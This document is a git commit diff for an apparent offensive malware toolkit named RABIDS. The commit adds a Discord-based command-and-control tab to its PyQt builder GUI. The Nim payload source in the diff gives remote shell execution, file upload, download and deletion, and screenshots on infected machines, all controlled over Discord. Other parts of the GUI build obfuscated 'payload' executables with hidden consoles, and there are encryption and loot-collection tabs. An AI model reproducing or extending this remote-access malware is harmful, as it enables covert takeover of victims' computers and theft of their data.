Added C2 TAB

This commit is contained in:
Sarwar 🧃
2025-09-09 00:21:08 +05:00
parent 17e44f9d27
commit cb053ee574
5 changed files with 356 additions and 136 deletions

BIN
ASSETS/c2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 82 KiB

Binary file not shown.

View File

@ -61,7 +61,8 @@ proc sendFile(channelId: string, filePath: string, fileName: string): Future[voi
files = @[DiscordFile(name: fileName, body: fileContent)] files = @[DiscordFile(name: fileName, body: fileContent)]
) )
proc handleCommand(cmd: string, m: Message, client: HttpClient): Future[string] {.async.} = proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[string] {.async.} =
let cmd = rawCmd.strip()
if cmd == "!dir" or cmd == "!ls": if cmd == "!dir" or cmd == "!ls":
when defined(windows): when defined(windows):
let (output, exitCode) = execCmdEx("cmd /c dir", options = {poUsePath}, workingDir = currentDir) let (output, exitCode) = execCmdEx("cmd /c dir", options = {poUsePath}, workingDir = currentDir)
@ -77,7 +78,7 @@ proc handleCommand(cmd: string, m: Message, client: HttpClient): Future[string]
return output return output
elif cmd.startsWith("!cd "): elif cmd.startsWith("!cd "):
let newDir = cmd[4..^1].strip() let newDir = cmd[3..^1].strip()
let targetDir = if os.isAbsolute(newDir): newDir else: os.joinPath(currentDir, newDir) let targetDir = if os.isAbsolute(newDir): newDir else: os.joinPath(currentDir, newDir)
if dirExists(targetDir): if dirExists(targetDir):
setCurrentDir(targetDir) setCurrentDir(targetDir)
@ -86,7 +87,7 @@ proc handleCommand(cmd: string, m: Message, client: HttpClient): Future[string]
else: else:
return "directory not found: " & targetDir return "directory not found: " & targetDir
elif cmd == "!upload": elif cmd.startsWith("!upload"):
if m.attachments.len == 0: if m.attachments.len == 0:
return "no file attached. Please send a file with the !upload command." return "no file attached. Please send a file with the !upload command."
else: else:
@ -101,8 +102,8 @@ proc handleCommand(cmd: string, m: Message, client: HttpClient): Future[string]
except CatchableError as e: except CatchableError as e:
return "failed to download file: " & e.msg return "failed to download file: " & e.msg
elif cmd.startsWith("!download "): elif cmd.startsWith("!!download "):
let fileName = cmd[10..^1].strip() let fileName = cmd[9..^1].strip()
let filePath = os.joinPath(currentDir, fileName) let filePath = os.joinPath(currentDir, fileName)
if fileExists(filePath): if fileExists(filePath):
await sendFile(m.channel_id, filePath, fileName) await sendFile(m.channel_id, filePath, fileName)
@ -110,8 +111,8 @@ proc handleCommand(cmd: string, m: Message, client: HttpClient): Future[string]
else: else:
return "file not found: " & filePath return "file not found: " & filePath
elif cmd.startsWith("!mkdir "): elif cmd.startsWith("!!mkdir "):
let dirName = cmd[7..^1].strip() let dirName = cmd[6..^1].strip()
let dirPath = os.joinPath(currentDir, dirName) let dirPath = os.joinPath(currentDir, dirName)
try: try:
createDir(dirPath) createDir(dirPath)
@ -120,7 +121,7 @@ proc handleCommand(cmd: string, m: Message, client: HttpClient): Future[string]
return e.msg return e.msg
elif cmd.startsWith("!touch "): elif cmd.startsWith("!touch "):
let fileName = cmd[7..^1].strip() let fileName = cmd[6..^1].strip()
let filePath = os.joinPath(currentDir, fileName) let filePath = os.joinPath(currentDir, fileName)
try: try:
writeFile(filePath, "") writeFile(filePath, "")
@ -129,7 +130,7 @@ proc handleCommand(cmd: string, m: Message, client: HttpClient): Future[string]
return e.msg return e.msg
elif cmd.startsWith("!rm "): elif cmd.startsWith("!rm "):
let target = cmd[4..^1].strip() let target = cmd[3..^1].strip()
let path = os.joinPath(currentDir, target) let path = os.joinPath(currentDir, target)
if fileExists(path): if fileExists(path):
try: try:
@ -140,13 +141,13 @@ proc handleCommand(cmd: string, m: Message, client: HttpClient): Future[string]
elif dirExists(path): elif dirExists(path):
try: try:
removeDir(path) removeDir(path)
return "deleted directory: " & path return "deleted directory: " & path
except CatchableError as e: except CatchableError as e:
return e.msg return e.msg
else: else:
return "no such file or directory: " & path return "no such file or directory: " & path
elif cmd == "!screencapture": elif cmd == "!!screencapture":
when defined(macosx): when defined(macosx):
let fileName = "screenshot_" & $now().toTime().toUnix() & ".jpg" let fileName = "screenshot_" & $now().toTime().toUnix() & ".jpg"
let filePath = os.joinPath(currentDir, fileName) let filePath = os.joinPath(currentDir, fileName)
@ -180,14 +181,14 @@ proc handleCommand(cmd: string, m: Message, client: HttpClient): Future[string]
else: else:
try: try:
let command = cmd[1..^1]
when defined(macosx): when defined(macosx):
let command = cmd[1..^1]
return await runCommandWithTimeoutKill(command, 60000) return await runCommandWithTimeoutKill(command, 60000)
elif defined(windows): elif defined(windows):
let command = "cmd /c " & cmd[1..^1] let command = "cmd /c " & command
return await runCommandWithTimeoutKill(command, 60000) return await runCommandWithTimeoutKill(command, 60000)
else: else:
return "unsupported platform for command execution." return "unsupported platform for direct command execution."
except CatchableError as e: except CatchableError as e:
return "error running command: " & e.msg return "error running command: " & e.msg
@ -208,40 +209,37 @@ proc getHostname(): string =
var machineName = getEnv("MACHINE_NAME", getHostname()) var machineName = getEnv("MACHINE_NAME", getHostname())
proc onReady(s: Shard, r: Ready) {.event(discord).} = proc onReady(s: Shard, r: Ready) {.event(discord).} =
let dm = await discord.api.createUserDm(creatorId) try:
if machineName notin sessionRegistry: let dm = await discord.api.createUserDm(creatorId)
sessionRegistry.add(machineName) if machineName notin sessionRegistry:
discard await discord.api.sendMessage(dm.id, machineName & " IS LIVE <3") sessionRegistry.add(machineName)
discard await discord.api.sendMessage(dm.id, machineName & " IS LIVE <3")
except:
echo "Could not send startup message to creator ID: ", creatorId
proc messageCreate(s: Shard, m: Message) {.event(discord).} = proc messageCreate(s: Shard, m: Message) {.event(discord).} =
if m.author.bot: return
var client = newHttpClient() var client = newHttpClient()
let content = m.content.strip() let content = m.content.strip()
echo "Processing command: ", content
if content == "!sessions": if content == "!sessions":
let sessionList = if sessionRegistry.len == 0: "no active sessions." else: sessionRegistry.join("\n") let sessionList = if sessionRegistry.len == 0: "No active sessions." else: sessionRegistry.join("\n")
discard await sendMessage(m.channel_id, sessionList) discard await sendMessage(m.channel_id, sessionList)
return return
elif content == "!ping":
if content.startsWith("!" & machineName & " "):
let cmd = content[(machineName.len + 2)..^1].strip()
echo cmd
try:
let output = await handleCommand(cmd, m, client)
discard await sendMessage(m.channel_id, output)
except CatchableError as e:
discard await sendMessage(m.channel_id, e.msg)
return
if content == "!ping":
let before = epochTime() * 1000 let before = epochTime() * 1000
let msg = await discord.api.sendMessage(m.channel_id, "ping?") let msg = await discord.api.sendMessage(m.channel_id, "ping?")
let after = epochTime() * 1000 let after = epochTime() * 1000
discard await discord.api.editMessage(m.channel_id, msg.id, "pong! took " & $int(after - before) & "ms | " & $s.latency() & "ms.") discard await discord.api.editMessage(m.channel_id, msg.id, "pong! took " & $int(after - before) & "ms | " & $s.latency() & "ms.")
return
if content.startsWith("!"):
try:
let output = await handleCommand(content, m, client)
discard await sendMessage(m.channel_id, output)
except CatchableError as e:
echo "Error executing command: ", e.msg
discard await sendMessage(m.channel_id, e.msg)
proc main() = proc main() =
when isMainModule: waitFor discord.startSession()
waitFor discord.startSession()
else:
discard

View File

@ -448,12 +448,12 @@ def main():
for const_name, dll_name in MODULE_DLLS[normalized_path].items(): for const_name, dll_name in MODULE_DLLS[normalized_path].items():
dll_path = dll_source_dir / dll_name dll_path = dll_source_dir / dll_name
if dll_path.exists(): if dll_path.exists():
dll_content = dll_path.read_bytes()
if not args.nim_only and target_os == 'windows': if not args.nim_only and target_os == 'windows':
print(f"[*] Queuing {dll_name} for Rust wrapper embedding.") print(f"[*] Queuing {dll_name} for Rust wrapper embedding.")
embedded_files_for_rust[dll_name] = dll_content embedded_files_for_rust[dll_name] = dll_path.read_bytes()
else: else:
print(f"[*] Embedding {dll_name} as base64 for {Path(module_path).name}") print(f"[*] Embedding {dll_name} as base64 for {Path(module_path).name}")
dll_content = dll_path.read_bytes()
b64_content = base64.b64encode(dll_content).decode('utf-8') b64_content = base64.b64encode(dll_content).decode('utf-8')
nim_options.append(f"{const_name}={b64_content}") nim_options.append(f"{const_name}={b64_content}")

414
main.py
View File

@ -1,6 +1,7 @@
import sys import sys
import os import os
from functools import partial from functools import partial
import re
import shlex import shlex
import subprocess import subprocess
from pathlib import Path from pathlib import Path
@ -13,7 +14,7 @@ from PyQt5.QtWidgets import (
) )
import json import json
from PyQt5.QtGui import QFont, QPixmap, QMovie, QIcon from PyQt5.QtGui import QFont, QPixmap, QMovie, QIcon
from PyQt5.QtCore import Qt, QThread, pyqtSignal, QObject from PyQt5.QtCore import Qt, QThread, pyqtSignal, QObject, QTimer
import discord import discord
import asyncio import asyncio
@ -126,11 +127,11 @@ class DiscordListener(QObject):
@self.client.event @self.client.event
async def on_message(message): async def on_message(message):
if message.author == self.client.user: is_dm = isinstance(message.channel, discord.DMChannel)
return is_from_creator = self.creator_id and str(message.author.id) == self.creator_id
content = message.content if is_dm and is_from_creator:
self.process_encryption_message(content) self.process_encryption_message(message.content)
async def fetch_history(self, user): async def fetch_history(self, user):
"""Fetches and processes historical messages from a user.""" """Fetches and processes historical messages from a user."""
@ -153,6 +154,83 @@ class DiscordListener(QObject):
if self.client: if self.client:
await self.client.close() await self.client.close()
class DiscordC2Client(QObject):
"""Handles Discord connection and communication for the C2 tab."""
log_message = pyqtSignal(str, str)
connection_status = pyqtSignal(bool)
def __init__(self, token, target_user_id):
super().__init__()
self.token = token
self.target_user_id = target_user_id
self.target_user = None
intents = discord.Intents.default()
intents.messages = True
intents.dm_messages = True
intents.message_content = True
self.client = discord.Client(intents=intents)
@self.client.event
async def on_ready():
self.log_message.emit(f"C2 client logged in as {self.client.user}", "success")
try:
self.target_user = await self.client.fetch_user(int(self.target_user_id))
self.log_message.emit(f"Connected to target user '{self.target_user.name}'.", "success")
self.connection_status.emit(True)
except (ValueError, discord.NotFound):
self.log_message.emit(f"Could not find target user with ID: {self.target_user_id}", "error")
await self.stop_client()
except discord.Forbidden:
self.log_message.emit("Bot does not have permission to fetch user.", "error")
await self.stop_client()
@self.client.event
async def on_message(message):
is_dm = isinstance(message.channel, discord.DMChannel)
if is_dm:
content = message.content.strip()
if content:
if content.startswith("```") and content.endswith("```"):
content = re.sub(r"```(plaintext\n)?|```", "", content).strip()
self.log_message.emit(content, "c2_recv")
if message.attachments:
for attachment in message.attachments:
self.log_message.emit(f"Received file: <a href='{attachment.url}'>{attachment.filename}</a>", "c2_recv")
async def send_dm(self, content):
if self.target_user:
try:
sent_content = content.strip()
await self.target_user.send(sent_content)
self.log_message.emit(sent_content, "c2_sent")
return True
except discord.Forbidden:
self.log_message.emit("Cannot send DMs to this user. Check permissions.", "error")
return False
except Exception as e:
self.log_message.emit(f"Failed to send DM: {str(e)}", "error")
return False
else:
self.log_message.emit("Not connected to a target user.", "error")
return False
async def run_client(self):
try:
await self.client.start(self.token)
except discord.LoginFailure:
self.log_message.emit("C2 client login failed. Check the token.", "error")
self.connection_status.emit(False)
except Exception as e:
self.log_message.emit(f"C2 client error: {str(e)}", "error")
self.connection_status.emit(False)
async def stop_client(self):
if self.client and self.client.is_ready():
await self.client.close()
self.log_message.emit("C2 client disconnected.", "system")
self.connection_status.emit(False)
class BuildThread(QThread): class BuildThread(QThread):
log_signal = pyqtSignal(str, str) log_signal = pyqtSignal(str, str)
finished_signal = pyqtSignal(int) finished_signal = pyqtSignal(int)
@ -229,6 +307,34 @@ class DiscordListenerThread(QThread):
self.loop.call_soon_threadsafe(self.loop.create_task, self.listener.stop_client()) self.loop.call_soon_threadsafe(self.loop.create_task, self.listener.stop_client())
self.device_status_update.emit("SYSTEM", "Disconnected from Discord.") self.device_status_update.emit("SYSTEM", "Disconnected from Discord.")
class C2Thread(QThread):
"""Runs the Discord C2 client in a separate thread."""
log_message = pyqtSignal(str, str)
connection_status = pyqtSignal(bool)
def __init__(self, token, target_user_id):
super().__init__()
self.token = token
self.target_user_id = target_user_id
self.c2_client = None
self.loop = None
def run(self):
self.loop = asyncio.new_event_loop()
asyncio.set_event_loop(self.loop)
self.c2_client = DiscordC2Client(self.token, self.target_user_id)
self.c2_client.log_message.connect(self.log_message)
self.c2_client.connection_status.connect(self.connection_status)
self.loop.run_until_complete(self.c2_client.run_client())
def send_message(self, content):
if self.loop and self.c2_client and self.c2_client.client.is_ready():
asyncio.run_coroutine_threadsafe(self.c2_client.send_dm(content), self.loop)
def stop(self):
if self.loop and self.c2_client:
asyncio.run_coroutine_threadsafe(self.c2_client.stop_client(), self.loop)
class ModuleTableWidget(QTableWidget): class ModuleTableWidget(QTableWidget):
"""A QTableWidget that supports drag-and-drop row reordering.""" """A QTableWidget that supports drag-and-drop row reordering."""
reorder_signal = pyqtSignal(list) reorder_signal = pyqtSignal(list)
@ -272,6 +378,7 @@ class RABIDSGUI(QMainWindow):
self.loading_movie = None self.loading_movie = None
self.build_thread = None self.build_thread = None
self.discord_thread = None self.discord_thread = None
self.c2_thread = None
self.option_inputs = {} self.option_inputs = {}
self.current_option_values = {} self.current_option_values = {}
self.module_options_group = None self.module_options_group = None
@ -287,7 +394,8 @@ class RABIDSGUI(QMainWindow):
} }
QPushButton { QPushButton {
background-color: #1D1D1F; background-color: #1D1D1F;
padding: 8px; padding: 6px;
font-size: 10pt;
border-radius: 10px; border-radius: 10px;
} }
QPushButton:hover { QPushButton:hover {
@ -368,55 +476,66 @@ class RABIDSGUI(QMainWindow):
scroll_area.setWidget(scroll_content_widget) scroll_area.setWidget(scroll_content_widget)
module_options_group_layout.addWidget(scroll_area) module_options_group_layout.addWidget(scroll_area)
left_layout.addWidget(self.module_options_group, stretch=7) left_layout.addWidget(self.module_options_group, stretch=7)
# --- Global Build Options ---
build_options_group = QGroupBox("BUILD OPTIONS")
build_options_group.setFont(title_font)
build_options_layout = QVBoxLayout(build_options_group)
build_options_layout.setSpacing(10)
options_row1 = QHBoxLayout() # EXE Name
self.hide_console_check = QCheckBox("HIDE CONSOLE") exe_name_layout = QHBoxLayout()
self.hide_console_check.setFont(subtitle_font)
self.hide_console_check.setChecked(True)
self.obfuscate_check = QCheckBox("OBFUSCATE")
self.obfuscate_check.setFont(subtitle_font)
self.obfuscate_check.setChecked(False)
self.obfuscate_check.stateChanged.connect(self.toggle_obfuscation)
self.ollvm_input = QLineEdit("")
self.ollvm_input.setFont(subtitle_font)
options_row1.addWidget(self.hide_console_check)
options_row1.addWidget(self.obfuscate_check)
options_row1.addWidget(self.ollvm_input, 1)
left_layout.addLayout(options_row1)
options_row2 = QHBoxLayout()
exe_name_label = QLabel("EXE NAME") exe_name_label = QLabel("EXE NAME")
exe_name_label.setFont(subtitle_font) exe_name_label.setFont(subtitle_font)
self.exe_name_input = QLineEdit("payload") self.exe_name_input = QLineEdit("payload")
self.exe_name_input.setFont(subtitle_font) self.exe_name_input.setFont(subtitle_font)
options_row2.addWidget(exe_name_label) exe_name_layout.addWidget(exe_name_label)
options_row2.addWidget(self.exe_name_input, 1) exe_name_layout.addWidget(self.exe_name_input, 1)
# OS and Arch
target_os_label = QLabel("OS") target_os_label = QLabel("OS")
target_os_label.setFont(subtitle_font) target_os_label.setFont(subtitle_font)
self.target_os_combo = QComboBox() self.target_os_combo = QComboBox()
self.target_os_combo.addItems(["windows", "linux", "macos"]) self.target_os_combo.addItems(["windows", "linux", "macos"])
self.target_os_combo.setFont(subtitle_font) self.target_os_combo.setFont(subtitle_font)
self.target_os_combo.currentTextChanged.connect(self.update_windows_only_options) self.target_os_combo.currentTextChanged.connect(self.update_windows_only_options)
options_row2.addWidget(target_os_label) exe_name_layout.addWidget(target_os_label)
options_row2.addWidget(self.target_os_combo, 1) exe_name_layout.addWidget(self.target_os_combo, 1)
target_arch_label = QLabel("PROCESSOR") target_arch_label = QLabel("PROCESSOR")
target_arch_label.setFont(subtitle_font) target_arch_label.setFont(subtitle_font)
self.target_arch_combo = QComboBox() self.target_arch_combo = QComboBox()
self.target_arch_combo.addItems(["amd64", "arm64"]) self.target_arch_combo.addItems(["amd64", "arm64"])
self.target_arch_combo.setFont(subtitle_font) self.target_arch_combo.setFont(subtitle_font)
options_row2.addWidget(target_arch_label) exe_name_layout.addWidget(target_arch_label)
options_row2.addWidget(self.target_arch_combo, 1) exe_name_layout.addWidget(self.target_arch_combo, 1)
left_layout.addLayout(options_row2) build_options_layout.addLayout(exe_name_layout)
# Windows-specific options
win_options_layout = QHBoxLayout()
self.hide_console_check = QCheckBox("HIDE CONSOLE")
self.hide_console_check.setFont(subtitle_font)
self.hide_console_check.setChecked(True)
win_options_layout.addWidget(self.hide_console_check)
self.obfuscate_check = QCheckBox("OBFUSCATE")
self.obfuscate_check.setFont(subtitle_font)
self.obfuscate_check.setChecked(False)
self.obfuscate_check.stateChanged.connect(self.toggle_obfuscation)
win_options_layout.addWidget(self.obfuscate_check)
self.ollvm_input = QLineEdit("")
self.ollvm_input.setPlaceholderText("e.g., -fla -sub -bcf")
self.ollvm_input.setFont(subtitle_font)
win_options_layout.addWidget(self.ollvm_input, 1)
build_options_layout.addLayout(win_options_layout)
left_layout.addWidget(build_options_group)
build_btn_layout = QHBoxLayout() build_btn_layout = QHBoxLayout()
build_btn_layout.addStretch()
self.build_btn = QPushButton("BUILD") self.build_btn = QPushButton("BUILD")
self.build_btn.setFont(subtitle_font) self.build_btn.setFont(subtitle_font)
self.build_btn.clicked.connect(self.run_compiler) self.build_btn.clicked.connect(self.run_compiler)
build_btn_layout.addWidget(self.build_btn) build_btn_layout.addWidget(self.build_btn)
build_btn_layout.addStretch()
left_layout.addLayout(build_btn_layout) left_layout.addLayout(build_btn_layout)
banner_layout = QHBoxLayout() banner_layout = QHBoxLayout()
@ -431,7 +550,6 @@ class RABIDSGUI(QMainWindow):
self.banner_label.setAlignment(Qt.AlignCenter) self.banner_label.setAlignment(Qt.AlignCenter)
banner_layout.addWidget(self.banner_label, stretch=1) banner_layout.addWidget(self.banner_label, stretch=1)
left_layout.addLayout(banner_layout) left_layout.addLayout(banner_layout)
builder_layout.addLayout(left_layout, 6) builder_layout.addLayout(left_layout, 6)
right_layout = QVBoxLayout() right_layout = QVBoxLayout()
@ -445,7 +563,6 @@ class RABIDSGUI(QMainWindow):
self.module_combo.addItem("SELECT MODULE") self.module_combo.addItem("SELECT MODULE")
for module in MODULES.keys(): for module in MODULES.keys():
self.module_combo.addItem(module.split('/')[-1]) self.module_combo.addItem(module.split('/')[-1])
self.module_combo.currentTextChanged.connect(self.update_module_description)
self.module_combo.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Fixed) self.module_combo.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Fixed)
module_select_layout.addWidget(self.module_combo) module_select_layout.addWidget(self.module_combo)
@ -454,16 +571,8 @@ class RABIDSGUI(QMainWindow):
self.add_module_btn.setFont(subtitle_font) self.add_module_btn.setFont(subtitle_font)
self.add_module_btn.clicked.connect(self.add_module) self.add_module_btn.clicked.connect(self.add_module)
module_buttons_layout.addWidget(self.add_module_btn) module_buttons_layout.addWidget(self.add_module_btn)
module_buttons_layout.addStretch()
module_select_layout.addLayout(module_buttons_layout) module_select_layout.addLayout(module_buttons_layout)
right_layout.addLayout(module_select_layout) right_layout.addLayout(module_select_layout)
self.module_desc_label = QLabel("Select a module to view its description")
self.module_desc_label.setFont(subtitle_font)
self.module_desc_label.setStyleSheet("color: #F4A87C;")
self.module_desc_label.setWordWrap(True)
self.module_desc_label.setMaximumWidth(400)
self.module_desc_label.setFixedHeight(40)
right_layout.addWidget(self.module_desc_label)
module_chain_label = QLabel("MODULE CHAIN") module_chain_label = QLabel("MODULE CHAIN")
module_chain_label.setFont(title_font) module_chain_label.setFont(title_font)
@ -597,7 +706,6 @@ class RABIDSGUI(QMainWindow):
restore_btn = QPushButton("Restore") restore_btn = QPushButton("Restore")
restore_btn.setFont(subtitle_font) restore_btn.setFont(subtitle_font)
restore_btn.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Fixed)
restore_btn.clicked.connect(self.run_garbage_collector_restore) restore_btn.clicked.connect(self.run_garbage_collector_restore)
restore_options_layout.addWidget(restore_btn) restore_options_layout.addWidget(restore_btn)
restore_options_layout.addStretch() restore_options_layout.addStretch()
@ -718,38 +826,17 @@ class RABIDSGUI(QMainWindow):
live_devices_desc_label.setWordWrap(True) live_devices_desc_label.setWordWrap(True)
left_column_layout.addWidget(live_devices_desc_label) left_column_layout.addWidget(live_devices_desc_label)
listener_layout = QHBoxLayout() listener_controls_layout = QHBoxLayout()
listener_label = QLabel("BOT TOKEN ")
listener_label.setFont(subtitle_font)
listener_label.setStyleSheet("color: #f7f294;")
self.listener_token_edit = QLineEdit()
self.listener_token_edit.setPlaceholderText("Enter your GUI's Discord bot token here")
self.listener_token_edit.setFont(subtitle_font)
creator_id_label = QLabel("USER ID ")
creator_id_label.setFont(subtitle_font)
creator_id_label.setStyleSheet("color: #f7f294;")
self.listener_creator_id_edit = QLineEdit()
self.listener_creator_id_edit.setPlaceholderText("Enter your Discord User ID for DMs")
self.listener_creator_id_edit.setFont(subtitle_font)
self.toggle_listener_btn = QPushButton("Connect") self.toggle_listener_btn = QPushButton("Connect")
self.toggle_listener_btn.setFont(subtitle_font) self.toggle_listener_btn.setFont(subtitle_font)
self.toggle_listener_btn.clicked.connect(self.toggle_discord_listener) self.toggle_listener_btn.clicked.connect(self.toggle_discord_listener)
self.refresh_listener_btn = QPushButton("⟳ Refresh") self.refresh_listener_btn = QPushButton("⟳ Refresh")
self.refresh_listener_btn.setFont(subtitle_font) self.refresh_listener_btn.setFont(subtitle_font)
self.refresh_listener_btn.clicked.connect(self.refresh_discord_listener) self.refresh_listener_btn.clicked.connect(self.refresh_discord_listener)
listener_controls_layout.addStretch()
listener_layout.addWidget(listener_label) listener_controls_layout.addWidget(self.refresh_listener_btn)
listener_layout.addWidget(self.listener_token_edit, 1) listener_controls_layout.addWidget(self.toggle_listener_btn)
listener_layout.addWidget(creator_id_label) left_column_layout.addLayout(listener_controls_layout)
listener_layout.addWidget(self.listener_creator_id_edit, 1)
listener_layout.addWidget(self.refresh_listener_btn)
listener_layout.addWidget(self.toggle_listener_btn)
left_column_layout.addLayout(listener_layout)
self.encrypted_devices_table = QTableWidget() self.encrypted_devices_table = QTableWidget()
self.encrypted_devices_table.setColumnCount(1) self.encrypted_devices_table.setColumnCount(1)
@ -770,14 +857,114 @@ class RABIDSGUI(QMainWindow):
uncrash_layout.addLayout(bottom_section_layout) uncrash_layout.addLayout(bottom_section_layout)
# C2 Tab
c2_widget = QWidget()
c2_main_layout = QHBoxLayout(c2_widget)
c2_main_layout.setContentsMargins(15, 15, 15, 15)
c2_left_column_widget = QWidget()
c2_left_layout = QVBoxLayout(c2_left_column_widget)
c2_left_layout.setContentsMargins(0, 0, 0, 0)
c2_header_layout = QHBoxLayout()
c2_title = QLabel("DISCORD C2")
c2_title.setFont(title_font)
c2_header_layout.addWidget(c2_title)
c2_left_layout.addLayout(c2_header_layout)
c2_desc = QLabel("Connect to Discord to send commands to and receive output from the 'ghostintheshell' payload.")
c2_desc.setFont(subtitle_font)
c2_desc.setStyleSheet("color: #00A9FD;")
c2_desc.setWordWrap(True)
c2_left_layout.addWidget(c2_desc)
self.c2_connect_btn = QPushButton("Connect")
self.c2_connect_btn.clicked.connect(self.toggle_c2_connection)
c2_left_layout.addWidget(self.c2_connect_btn)
self.c2_log = QTextEdit()
self.c2_log.setReadOnly(True)
self.c2_log.setFont(subtitle_font)
self.c2_log.setStyleSheet("background-color: #1D1D1F;")
c2_left_layout.addWidget(self.c2_log)
c2_input_layout = QHBoxLayout()
self.c2_cmd_input = QLineEdit()
self.c2_cmd_input.setPlaceholderText("Enter command to send...")
self.c2_cmd_input.returnPressed.connect(self.send_c2_message)
self.c2_cmd_input.setEnabled(False)
self.c2_send_btn = QPushButton("Send")
self.c2_send_btn.clicked.connect(self.send_c2_message)
self.c2_send_btn.setEnabled(False)
c2_input_layout.addWidget(self.c2_cmd_input, 1)
c2_input_layout.addWidget(self.c2_send_btn)
c2_left_layout.addLayout(c2_input_layout)
c2_image_label = QLabel()
c2_image_path = os.path.join(self.script_dir, "ASSETS", "c2.png")
pixmap = QPixmap(c2_image_path)
if not pixmap.isNull():
c2_image_label.setPixmap(pixmap.scaled(300, 800, Qt.KeepAspectRatio, Qt.SmoothTransformation))
c2_image_label.setAlignment(Qt.AlignCenter)
c2_main_layout.addWidget(c2_left_column_widget, 6)
c2_main_layout.addWidget(c2_image_label, 4)
# Settings Tab
settings_widget = QWidget()
settings_layout = QVBoxLayout(settings_widget)
settings_layout.setContentsMargins(15, 15, 15, 15)
def create_setting_layout(label_text, input_widget, description_text):
setting_layout = QVBoxLayout()
label_layout = QHBoxLayout()
label = QLabel(label_text)
label.setFont(subtitle_font)
desc_label = QLabel(description_text)
desc_label.setFont(QFont("Arial", 8))
desc_label.setStyleSheet("color: #808080;")
desc_label.setWordWrap(True)
label_layout.addWidget(label)
setting_layout.addLayout(label_layout)
setting_layout.addWidget(input_widget)
setting_layout.addWidget(desc_label)
setting_layout.addSpacing(10)
return setting_layout
# GUI Listener Settings
listener_token_label = QLabel("Listener Bot Token")
self.settings_discord_token_edit = QLineEdit()
listener_token_desc = "The authentication token for the Discord bot. Used by the KRASH listener and C2 functionality."
listener_layout = create_setting_layout(listener_token_label.text(), self.settings_discord_token_edit, listener_token_desc)
settings_layout.addLayout(listener_layout)
listener_creator_id_label = QLabel("Discord User ID")
self.settings_listener_creator_id_edit = QLineEdit()
listener_creator_id_desc = "Your Discord user ID. The GUI listener bot will only accept commands and DMs from this user."
listener_creator_id_layout = create_setting_layout(listener_creator_id_label.text(), self.settings_listener_creator_id_edit, listener_creator_id_desc)
settings_layout.addLayout(listener_creator_id_layout)
# Add stretch to the settings tab for spacing
settings_layout.addStretch()
# Save Settings Button
save_settings_btn = QPushButton("Save Settings")
save_settings_btn.setFont(subtitle_font)
save_settings_btn.clicked.connect(self.save_settings)
settings_layout.addWidget(save_settings_btn)
self.tab_widget.addTab(builder_widget, "BUILDER") self.tab_widget.addTab(builder_widget, "BUILDER")
self.tab_widget.addTab(output_widget, "OUTPUT") self.tab_widget.addTab(output_widget, "OUTPUT")
self.tab_widget.addTab(c2_widget, "C2")
self.tab_widget.addTab(uncrash_widget, "KRASH") self.tab_widget.addTab(uncrash_widget, "KRASH")
self.tab_widget.addTab(garbage_collector_widget, "GARBAGE COLLECTOR") self.tab_widget.addTab(garbage_collector_widget, "GARBAGE COLLECTOR")
self.tab_widget.addTab(docs_widget, "DOCUMENTATION") self.tab_widget.addTab(docs_widget, "DOCUMENTATION")
self.tab_widget.addTab(settings_widget, "SETTINGS")
self.update_loot_folder_view() self.update_loot_folder_view()
self.update_all_option_values() self.update_all_option_values()
self.update_module_description("SELECT MODULE")
self.update_module_table() self.update_module_table()
self.update_options_layout() self.update_options_layout()
self.update_windows_only_options(self.target_os_combo.currentText()) self.update_windows_only_options(self.target_os_combo.currentText())
@ -820,13 +1007,6 @@ class RABIDSGUI(QMainWindow):
except Exception as e: except Exception as e:
self.loot_files_list.addItem(f"Error reading LOOT directory: {e}") self.loot_files_list.addItem(f"Error reading LOOT directory: {e}")
def update_module_description(self, module_name):
if module_name == "SELECT MODULE":
self.module_desc_label.setText("Select a module to view its description")
else:
full_module = f"module/{module_name}"
self.module_desc_label.setText(MODULES.get(full_module, {}).get('desc', 'No description available'))
def update_options_layout(self, focused_module=None): def update_options_layout(self, focused_module=None):
for i in reversed(range(self.options_layout.count())): for i in reversed(range(self.options_layout.count())):
layout_item = self.options_layout.itemAt(i) layout_item = self.options_layout.itemAt(i)
@ -1071,6 +1251,12 @@ class RABIDSGUI(QMainWindow):
color = "#FFA473" color = "#FFA473"
else: else:
color = "#00A9FD" color = "#00A9FD"
if msg_type == "c2_sent":
color = "#e0e0e0" # White for sent
elif msg_type == "c2_recv":
color = "#B7CE42" # Green for received
if not message.strip(): if not message.strip():
return return
@ -1115,7 +1301,6 @@ class RABIDSGUI(QMainWindow):
self.show_result_view(is_success) self.show_result_view(is_success)
from PyQt5.QtCore import QTimer
QTimer.singleShot(3000, self.restore_options_after_build) QTimer.singleShot(3000, self.restore_options_after_build)
self.build_btn.setEnabled(True) self.build_btn.setEnabled(True)
@ -1286,24 +1471,60 @@ class RABIDSGUI(QMainWindow):
self.build_thread.finished_signal.connect(self.build_finished) self.build_thread.finished_signal.connect(self.build_finished)
self.build_thread.start() self.build_thread.start()
def toggle_c2_connection(self):
if self.c2_thread and self.c2_thread.isRunning():
self.c2_thread.stop()
else:
token = self.settings_discord_token_edit.text().strip()
target_id = self.settings_listener_creator_id_edit.text().strip()
if not token or not target_id:
self.log_c2_message("Bot Token and Target User ID are required.", "error")
return
self.c2_log.clear()
self.log_c2_message("Connecting to Discord...", "system")
self.c2_thread = C2Thread(token, target_id)
self.c2_thread.log_message.connect(self.log_c2_message)
self.c2_thread.connection_status.connect(self.on_c2_connection_status_changed)
self.c2_thread.start()
def on_c2_connection_status_changed(self, is_connected):
self.c2_cmd_input.setEnabled(is_connected)
self.c2_send_btn.setEnabled(is_connected)
if is_connected:
self.c2_connect_btn.setText("Disconnect")
else:
self.c2_connect_btn.setText("Connect")
if self.c2_thread:
self.c2_thread.quit()
self.c2_thread.wait()
self.c2_thread = None
def log_c2_message(self, message, msg_type):
# Reusing log_message logic for color, but directing output to c2_log
color_map = {"error": "#D81960", "success": "#B7CE42", "system": "#FFA473", "c2_sent": "#e0e0e0", "c2_recv": "#B7CE42", "c2_debug": "#888888"}
color = color_map.get(msg_type, "#00A9FD")
self.c2_log.append(f'<font color="{color}">{message}</font>')
def send_c2_message(self):
content = self.c2_cmd_input.text().strip()
if content and self.c2_thread and self.c2_thread.isRunning():
self.c2_thread.send_message(content)
self.c2_cmd_input.clear()
def toggle_discord_listener(self): def toggle_discord_listener(self):
